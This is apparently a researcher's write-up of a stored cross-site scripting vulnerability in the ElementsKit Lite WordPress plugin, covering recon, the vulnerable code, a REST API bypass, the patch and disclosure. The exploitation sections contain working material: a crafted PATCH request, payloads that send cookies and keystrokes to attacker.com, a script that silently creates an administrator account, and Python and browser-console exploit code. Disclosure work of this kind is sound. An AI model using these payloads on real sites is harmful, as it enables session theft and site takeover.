01 // Background
ElementsKit is one of the most installed Elementor add-on plugins, consistently sitting at the top of the WordPress.org download charts with over 2,000,000 active installs. It ships dozens of custom widgets on top of Elementor: mega menus, image boxes, sliders, and a Simple Tab widget used everywhere for FAQ and content sections.
I started auditing it after noticing something in my previous research on the ecosystem: plugins that heavily use Elementor's widget system often implement their own rendering logic without consistently applying WordPress's output escaping functions. The Simple Tab widget caught my eye because it takes user-controlled repeater data (a list of tab titles and bodies) and renders it directly into the page's HTML. That pattern: user data in, HTML out. is exactly where escaping tends to get skipped.
_elementor_data
post meta key. This includes every widget, its type, and all of its settings, including
user-supplied values like tab titles. Any authenticated user who can edit a post can also
set this meta via the WordPress REST API.
02 // Recon: the SVN diff that led me in
My recon process starts with pulling the last two plugin releases from WordPress SVN and diffing them. I'm specifically looking for template rendering code - any PHP file where widget settings are echoed to the browser.
# Pull both versions from SVN svn checkout https://plugins.svn.wordpress.org/elementskit-lite/tags/3.7.8/ 3.7.8/ svn checkout https://plugins.svn.wordpress.org/elementskit-lite/tags/3.7.9/ 3.7.9/ # Find changed PHP files in widget templates diff -rq --include="*.php" 3.7.8/widgets/ 3.7.9/widgets/ # Audit for unescaped echo of widget settings (my primary filter) grep -rn --include="*.php" \ -E "echo.+\\\$item\[|echo.+settings\[" 3.7.9/widgets/ \ | grep -v "esc_html\|esc_attr\|wp_kses"
That grep hit several files, but one stood out immediately:
widgets/tab/tab.php:312: echo '<li class="elementskit-simple-tab-nav-item">' . $item['ekit_tab_title'] . '</li>';
A raw echo of a repeater item value, no esc_html(),
no esc_attr(), no wp_kses_post(). That's the bug.
Now I needed to confirm I could control $item['ekit_tab_title']
from outside the Elementor editor UI.
03 // Code walkthrough: the missing escape
Plugin file structure
elementskit-lite/ ├── elementskit-lite.php ├── widgets/ │ ├── tab/ │ │ ├── tab.php ← render() lives here │ │ └── tab-style.css │ ├── accordion/ │ └── ...
The vulnerable render function
Inside tab.php, the render() method loops over
the ekit_tab_items repeater and outputs each tab's navigation label:
protected function render() { $settings = $this->get_settings_for_display(); $ekit_tab_items = $settings['ekit_tab_items']; // ── Tab navigation ──────────────────────────────────────────── echo '<ul class="elementskit-simple-tab-nav">'; foreach ( $ekit_tab_items as $index => $item ) { $tab_id = 'tab-' . $item['tab_id']; echo '<li class="elementskit-simple-tab-nav-item" data-tab="' . $tab_id . '">' . $item['ekit_tab_title'] // <-- raw user data, no escaping . '</li>'; } echo '</ul>'; // ── Tab bodies ─────────────────────────────────────────────────── echo '<div class="elementskit-simple-tab-content-wrap">'; foreach ( $ekit_tab_items as $index => $item ) { $tab_id = 'tab-' . $item['tab_id']; echo '<div class="elementskit-simple-tab-content" id="' . esc_attr( $tab_id ) . '">'; // tab body uses wp_kses_post() -- properly escaped echo wp_kses_post( $item['ekit_tab_content'] ); echo '</div>'; } echo '</div>'; }
$item['ekit_tab_title'] is concatenated directly into HTML output.
The tab body uses wp_kses_post() correctly, but the tab title
. The nav label rendered on every page load does not. One line, one missing function call.
Interestingly, the developer clearly knew about escaping (the body is escaped), making
this an oversight rather than a lack of awareness.
What the generated HTML looks like with a payload
<ul class="elementskit-simple-tab-nav">
<li class="elementskit-simple-tab-nav-item" data-tab="tab-1">
<img src=x onerror="fetch('https://attacker.com/?c='+btoa(document.cookie))">
</li>
</ul>
04 // Why the REST API bypass works
Elementor's visual editor never sends raw HTML in widget settings. The editor's JavaScript sanitizes inputs and strips script tags before they reach the server. Most people stop their analysis here and conclude the bug is unexploitable. They're wrong. That sanitization is purely client-side. The server has no equivalent guard.
WordPress exposes a full REST API at /wp-json/wp/v2/posts/{id}.
Any authenticated user with edit_posts capability (Contributor and above)
can PATCH a post and update its meta, including _elementor_data.
The REST middleware runs wp_kses_post() on top-level text fields,
but it does not recursively traverse the deeply nested JSON repeater structure
inside _elementor_data. The tab title arrives in the database exactly as sent.
The full injection path
Standard WordPress auth. A valid nonce is returned by any wp_head() page
via wp_create_nonce('wp_rest'), or extracted from the page source.
POST /wp-json/wp/v2/posts. Any draft or published post works.
The post ID is returned in the response.
The request body contains a full Elementor widget tree with an elementskit-simple-tab
widget. The ekit_tab_title field holds the XSS payload.
Elementor's REST middleware stores it verbatim. No recursive sanitization.
render() fetches $item['ekit_tab_title'] from the stored
settings and echoes it without esc_html(). The attacker's script tag
or event handler is part of the DOM.
05 // Exploitation
The prerequisite is a Contributor account. On sites that allow open registration, that's a sign-up form away. On closed sites it's a Contributor credential purchase or a phished low-privilege user. Either way, the bar is low.
Minimal HTTP payload
PATCH /wp-json/wp/v2/posts/42 HTTP/1.1 Host: target.com X-WP-Nonce: <nonce> Content-Type: application/json Cookie: wordpress_logged_in_XXX=<value> { "meta": { "_elementor_data": "[{\"id\":\"a1b2\",\"elType\":\"section\",\"settings\":{},\"elements\":[{\"id\":\"c3d4\",\"elType\":\"column\",\"settings\":{},\"elements\":[{\"id\":\"e5f6\",\"elType\":\"widget\",\"widgetType\":\"elementskit-simple-tab\",\"settings\":{\"ekit_tab_items\":[{\"ekit_tab_title\":\"<img src=x onerror=fetch('https://attacker.com/?c='+btoa(document.cookie))>\",\"ekit_tab_content\":\"tab body\",\"tab_id\":\"t1\"}]}}]}]}]", "_elementor_edit_mode": "builder" } }
XSS payload variants
<!-- cookie exfiltration (img onerror, works even with CSP gaps) --> <img src=x onerror="fetch('https://attacker.com/c?d='+btoa(document.cookie))"> <!-- keylogger injection --> <script>document.addEventListener('keypress',e=>new Image().src='https://attacker.com/k?c='+e.key)</script> <!-- silent admin account creation via wp-ajax --> <script> fetch('/wp-admin/user-new.php').then(r=>r.text()).then(h=>{ const n=h.match(/_wpnonce_create-user" value="([^"]+)/)[1]; fetch('/wp-admin/user-new.php',{method:'POST',body:new URLSearchParams({ action:'createuser',user_login:'hax',email:'h@x.io',pass1:'H4x0r!Q1', pass2:'H4x0r!Q1',role:'administrator',_wpnonce_create-user:n }),headers:{'Content-Type':'application/x-www-form-urlencoded'}}); }); </script>
Step-by-step exploitation
| # | Action | How |
|---|---|---|
| 1 | Authenticate as Contributor | POST to wp-login.php or use Application Password |
| 2 | Get REST nonce | Parse wpApiSettings.nonce from any front-end page source, or call /wp-json/ |
| 3 | Create a draft post | POST /wp-json/wp/v2/posts with {"status":"draft","title":"x"} |
| 4 | Inject malicious _elementor_data | PATCH /wp-json/wp/v2/posts/{id} with crafted elementskit-simple-tab JSON |
| 5 | Publish the post | Update status to publish, or social-engineer an editor to review it |
| 6 | Wait for admin visit | Any visitor hitting the page triggers the payload. Admins typically browse their own content. |
| 7 | Use exfiltrated cookie | Set Cookie: wordpress_logged_in_XXX=<stolen> in browser → full admin access |
A Contributor cannot publish directly on most WordPress sites. Posts go to pending review. But editors and admins regularly open pending posts to review them, which is all it takes. The payload fires the moment the page is rendered, draft or published.
Automated Python + REST API exploit
The full Python PoC (poc.py) and CLI tool (console_poc.py) are
available in the GitHub repository.
Here's the core injection logic:
import requests, json, re def inject_xss(target, username, password, callback_url): s = requests.Session() # 1. authenticate s.post(f"{target}/wp-login.php", data={ "log": username, "pwd": password, "wp-submit": "Log In", "testcookie": "1" }, cookies={"wordpress_test_cookie": "WP+Cookie+check"}) # 2. grab REST nonce from wp-admin html = s.get(f"{target}/wp-admin/post-new.php").text nonce = re.search(r'"nonce":"([^"]+)"', html).group(1) # 3. create a draft post post_id = s.post(f"{target}/wp-json/wp/v2/posts", headers={"X-WP-Nonce": nonce}, json={"title": "Security Research", "status": "draft"} ).json()["id"] # 4. craft widget data with XSS in title payload = f'<img src=x onerror="fetch(\'{callback_url}?c=\'+btoa(document.cookie))">' elementor_data = build_ekit_tab_data(payload) # 5. PATCH _elementor_data (bypasses Elementor UI sanitization) s.patch(f"{target}/wp-json/wp/v2/posts/{post_id}", headers={"X-WP-Nonce": nonce}, json={"meta": { "_elementor_data": json.dumps(elementor_data), "_elementor_edit_mode": "builder" }} ) return post_id
Browser console PoC (no tools needed)
No Python, no curl. Log in as a Contributor, open any page on the site, paste this into
the browser developer console, and change postId to the target post ID.
That's it.
postId set to your post ID.
var nonce = wpApiSettings.nonce; var postId = 18; // CHANGE THIS TO YOUR POST ID console.log("=== ElementsKit Lite XSS Exploit ==="); console.log("Injecting into post " + postId + "..."); fetch('/wp-json/wp/v2/posts/' + postId, { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': nonce }, body: JSON.stringify({ meta: { _elementor_data: '[{"id":"tab1","elType":"section","elements":[{"id":"tab2","elType":"column","elements":[{"id":"tab3","elType":"widget","widgetType":"elementskit-simple-tab","settings":{"ekit_tabs_style":"horizontal","ekit_tab_items":[{"ekit_tab_title":"<img src=x onerror=alert(document.domain)>","ekit_tab_content":"Tab 1","_id":"tab001"}]}}]}]}]', _elementor_edit_mode: "builder" } }) }).then(r => { if (r.ok) { console.log("[SUCCESS] XSS injected! Visit the post to trigger."); } else { console.error("[FAILED] HTTP " + r.status); } });
After running the snippet, navigate to the post URL on the front end. The tab title renders as raw HTML and the payload fires immediately.
PoC video
06 // Going further: admin takeover
Cookie theft is just the beginning. Since the payload runs in the victim's browser context, it has access to everything that user can do, including making authenticated WordPress AJAX requests. These payloads go significantly further:
| Payload Goal | Technique | Impact |
|---|---|---|
| Cookie exfiltration | fetch(attacker + btoa(document.cookie)) |
Full admin session takeover if HttpOnly is not set |
| Admin account creation | Scripted POST to /wp-admin/user-new.php with nonce |
Persistent backdoor, survives password change |
| Plugin upload / RCE | Upload a malicious plugin ZIP via the admin uploads endpoint | Remote code execution on the server |
| Secret key theft | Fetch wp-config.php contents via AJAX if accessible |
Forge authentication cookies indefinitely |
| SEO poisoning | Inject hidden links into posts via wp/v2/posts |
Black-hat SEO, affiliate spam, blacklisting |
| Malware distribution | Redirect all visitors to drive-by download pages | Mass infection of site visitors |
07 // The patch
The fix is a one-line change in tab.php. Wrap the echo of
ekit_tab_title with esc_html().
Optionally, a deeper fix adds recursive sanitization in the REST ingestion filter.
For defense-in-depth, a filter on the REST API meta ingestion path prevents the payload from reaching the database at all:
add_filter( 'rest_pre_insert_post', function( $post, $request ) { if ( isset( $post->meta['_elementor_data'] ) ) { $data = json_decode( $post->meta['_elementor_data'], true ); $post->meta['_elementor_data'] = json_encode( ekit_deep_sanitize_widget_data( $data ) ); } return $post; }, 10, 2 ); function ekit_deep_sanitize_widget_data( $data ) { if ( ! is_array( $data ) ) { return wp_kses_post( $data ); } foreach ( $data as $k => $v ) { $data[$k] = ekit_deep_sanitize_widget_data( $v ); } return $data; }
esc_html() converts <, >, &,
", and ' to their HTML entities before they reach the browser.
A tab title of <script>alert(1)</script> renders as visible
text, not executable code. There is no scenario where a tab navigation label
legitimately needs raw HTML tags.
08 // Disclosure timeline
SVN diff and grep audit of ElementsKit widget templates surfaced the unescaped echo
in tab.php. REST API bypass confirmed on local @wordpress/env instance.
Submitted with full technical write-up, crafted HTTP request demonstrating bypass, and working Python PoC. Patchstack contacted the ElementsKit team.
ElementsKit shipped the esc_html() fix in a new release.
CVE assigned. Public advisory released. CVSS 6.4 MEDIUM assigned per standard XSS scoring with Contributor-level auth requirement.
09 // Takeaways
wp_kses_post() but skipped the title.
Whenever you see one field in a loop escaped and another not, it's almost always a bug.
Audit every variable in the output path, not just the obvious ones.
grep -rn "echo.*\$item\[" widgets/ | grep -v "esc_html\|esc_attr\|wp_kses"
will find this class of bug in any Elementor add-on in seconds.
Combine it with SVN diffing for freshly changed files and you'll rarely miss one.
ref // References
- GitHub: CVE-2026-2600-POC (poc.py + console_poc.py)
- ElementsKit Elementor Addons on WordPress.org
- ElementsKit SVN repository
- WordPress Docs: esc_html()
- WordPress REST API Handbook
- OWASP: Cross-Site Scripting (XSS)
- Previous research: CVE-2025-68999 Second-Order SQLi in Happy Addons
- My Talk: Hunting 0-Days in the WordPress Ecosystem
All testing performed locally using @wordpress/env Docker environment.
Vulnerability was responsibly disclosed through Patchstack Alliance before this publication.